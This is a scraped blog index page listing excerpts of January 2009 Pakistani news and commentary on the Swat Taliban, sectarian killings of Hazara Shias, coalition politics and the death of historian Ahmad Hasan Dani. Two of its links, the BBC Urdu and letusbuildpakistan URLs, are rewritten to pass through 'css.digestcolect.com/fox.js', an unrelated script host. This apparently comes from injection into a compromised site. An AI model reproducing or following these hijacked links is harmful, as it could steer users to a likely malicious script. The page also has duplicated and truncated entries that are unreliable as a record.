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Mourning Swat: A paradise lost – Wusatullah Khan: BBC Urdu dot com http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/01/090127_swat_history_wusat_zs.shtml بہشتِ مرحوم کی یاد میں وسعت اللہ خان بی بی سی اردو ڈاٹ کام، اسلام آباد طالبان کی جانب سے سوات میں تباہ کیا جانے والا بدھ کا مجسمہ سکندرِ اعظم ذرا جلدی میں
Taliban + Sipah-e-Sahaba + Al Qaeda + Jihadis = A case of multi-directional terror in Pakistan: A case of multi-directional terror Days after a Baloch terrorist organisation killed two innocent Punjabis in Quetta to “avenge injustice to the Baloch”, the Lashkar-e-Jhangvi, a sectarian organisation aligned with Al Qaeda and Taliban, has killed the Shia Hazara
Jihad by the State vs Fasad by the non-State Actors: Asadullah Ghalib offers an authoritative account of the real jihad versus the fasad (mischief) created by the non-state jihadi and sectarian organisations.
Many people said that if the ISI was sincere with the Pakhtuns it must target-kill the entire Taliban leadership just like the Taliban did with elders: What Pakhtuns think Wednesday, January 28, 2009 Farhat Taj There are many Pakhtun who argue that some elite state intelligence agencies and the Taliban, as of Swat for example, are ‘natural allies’ and feed on each other. The Taliban
SOS from D.I.Khan. Why have Police and Army failed to protect Shias in D.I. Khan?: D I Khan bomb blast Wednesday, January 28, 2009 So attuned have we become to living in an age of violence that we now barely seem to notice acts of terror unless they kill a significant number of people.
Systematic killing of the Hazara community in Balochistan…: Targeting HazarasWednesday, January 28, 2009The killing of the chairman of the Hazara Democratic Party in Quetta adds to the violence inflicted on the minority community. The murder, for which the Sunni extremist group, the Lashkar-e-Jhangvi, has claimed responsibility, has
Systematic killing of Hazara Shias in Balochistan: Targeting Hazaras Wednesday, January 28, 2009 The killing of the chairman of the Hazara Democratic Party in Quetta adds to the violence inflicted on the minority community. The murder, for which the Sunni extremist group, the Lashkar-e-Jhangvi, has claimed
True to form, Maulana Fazlur Rehman assured ministry for brother: True to form, Fazl assured ministry for brother Tuesday, January 27, 2009 Rich senator from Mansehra with US background also made minister By Rahimullah Yusufzai PESHAWAR: When it comes to extending favours, JUI-F leader Maulana Fazlur Rehman seldom looks
Obama vows to listen to Muslims: Obama’s first interview as president (Al-Arabiya TV exclusive): Obama’s first interview as president (Al-Arabiya TV exclusive) Obama vows to listen to Muslims By Edward Luce in Washington Published: January 27 2009 Barack Obama on Monday night granted an Arabic-language television channel his first formal interview as president
Swat: Taliban hit-list and two-finger sign: If international humiliation and domestic depression is what the Taliban wanted, they have found the device with which to do it in Swat. They have released a list of 43 people whom they have declared “wanted” and liable to
PML-N, Nawaz Sharif, make a choice. Parliament? or Street Politics… – By Nazir Naji: Nazir Naji (Daily Jang) A threat of mid-term elections? Looking at the intense war of statements between the ruling PPP and the PMLN, many observers are speculating that a “mid-term” election could be on the cards. For some reason,
Derailed de-radicalisation: Tuesday, January 27, 2009 Zeenia Satti Just like the Afghan war was allowed to turn into Pakistan’s civil war, similarly, the Mumbai attacks are likely to usher in civil unrest in Punjab. While events in neighbouring countries adversely impact
Countering extremism and Imam Abu Hanifa’s advice – Syed Mansoor Hussain: Countering extremism – Syed Mansoor Hussain If the coalition in the Punjab can survive then perhaps there is hope that these two parties will develop some sort of an understanding at the centre to mobilise Pakistanis against the real
Ahmad Hasan Dani: Death of a legend: Renowned historian, archeologist Prof Dani diesUpdated at: 1155 PST, Monday, January 26, 2009 (The News) ISLAMABAD: Famous historian and archeologist Professor Ahmad Hasan Dani has passed away here on Monday. He was 89. Prof. Dani was under treatment in
Ahmad Hasan Dani: Death of a legend: Renowned historian, archeologist Prof Dani diesUpdated at: 1155 PST, Monday, January 26, 2009 (The News) ISLAMABAD: Famous historian and archeologist Professor Ahmad Hasan Dani has passed away here on Monday. He was 89. Prof. Dani was under treatment in
A story of an employee reinstated by the PPP government: A story of an employee reinstated by the PPP government – by Tahir Sarwar Mir Also please read:http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/7700-sacked-govt-employees-to-be.html